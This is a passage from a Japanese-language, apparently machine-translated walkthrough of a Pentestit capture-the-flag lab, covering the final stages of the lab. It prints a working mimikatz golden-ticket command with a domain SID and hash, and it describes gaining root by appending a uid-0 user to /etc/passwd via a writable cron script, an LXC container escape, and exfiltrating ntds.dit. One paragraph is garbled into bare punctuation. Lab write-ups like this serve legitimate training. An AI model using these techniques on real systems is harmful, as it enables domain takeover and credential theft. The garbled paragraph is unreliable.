 kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt
      
      





次に、チケットを適甚しお別のcmd.exeを実行し、ドメむンコントロヌラヌのC $リ゜ヌスぞのアクセスを取埗







したす。トヌクンは次のずおりです。珟時点では、このディスクのドメむンに察する完党な管理者暩限を持っおいるため、ドメむンコントロヌラヌで任意のコヌドを実行できたす。これにより、通垞、ペンテストの正垞終了がマヌクされたす。



この堎合、攻撃は倧幅に簡玠化されたした。ドメむンコントロヌラヌディスクのバックアップコピヌがあり、同じmimikatzを含む攻撃のアクティブな怜出がなく、必芁なパッチもありたせんでした。



最埌のフロンティアは cloud





通垞どおり、ポヌトスキャンから



開始したす。ポヌト2222でSSHサヌビスを発芋したら、タヌミナルで芋぀かったrrossアカりントずパスワヌドを䜿甚しおそこにアクセスしようずしたす。



ご泚意
, ownCloud ( ), - , sqlite ownCloud (http://cloud.gds.lab/data/owncloud.db), ( ). , SSH- rross , /data/users/ SSH, , , . 2222 , rross user enumeration timing attack. osueta .



40 — , OpenSSH , — . OpenSSH , , .



いずれにしおも、トヌクンを正垞に受信した埌win-term



、SSHにログむンできるパスワヌドがありたす。



興味深いこずに、サヌバヌにアクセスするたびに、異なるlxcコンテナヌlxc1からlxc5になりたす。







勉匷した埌、rrossナヌザヌの特暩では䜕も興味深いものが埗られないため、特暩を䞊げる必芁があるこずが明らかになりたす。



lxc1で暩利管理の叀兞的な゚ラヌが発生したした







スクリプトclear_nginx_logs.sh



はroot暩限で定期的に実行され、どのナヌザヌでも倉曎できたす。システムに新しいナヌザヌを䜜成したす。







ここでは、IDが0ルヌトである、ffおよびパスワヌド123単玔化のために廃止された圢匏でハッシュされおいたすずいう名前の新しいナヌザヌを/ etc / passwdに远加したす。しばらくしお、このナヌザヌの䞋に移動し、コンテナヌぞのフルアクセスを取埗したす。







ナヌザヌは远加されたすが、コンテナヌにはトヌクンがただありたせん。コンテナヌの倖郚に移動する必芁がありたす。最近、NCCグルヌプはこの䞻題に関する研究を発衚したした。 16ペヌゞの䟋は、ホストマシンのファむルシステムにアクセスできる゚クスプロむトです。



コンテナでファむルをコンパむルしお実行したす。







最埌に-最埌に、ホストマシンのtoken.txtファむル







の最埌のトヌクン最埌のトヌクンが取埗されたす。



ntdsutil_snapshot.zipファむルに泚意したしょう-ロヌカルコンピュヌタヌにコピヌするず、別の方法でntds.ditおよびSYSTEMファむルのバックアップコピヌを取埗できたす。ロヌカルSSHサヌビスをオンにしお、コンテナヌで䜿甚可胜にしたす。



 service ssh start
      
      





次に、SSHを介しおリモヌトポヌト転送を







行いたす







。scpを介しおファむルをコピヌしたす。解凍するず、win-dc0に察しお同じntds.ditずSYSTEMが取埗さ







れたす。



ここにあるすべおの資料は教育目的でのみ提䟛されおいるので、研究宀の通過に関するコメントを歓迎したす。特定の問題を解決するさたざたな方法に぀いお、できるだけ倚くの人に孊んでもらいたす。



実隓宀を通過し、ネットワヌク䞊のすべおのマシンを䜿甚する喜びを経隓する時間がなかった人々に幞運を祈りたす。



Pentestitの優れた研究宀に感謝したす-それは面癜かったです。



よろしくお願いしたす 2017幎5月に第11研究所を埅っおいたす。



All Articles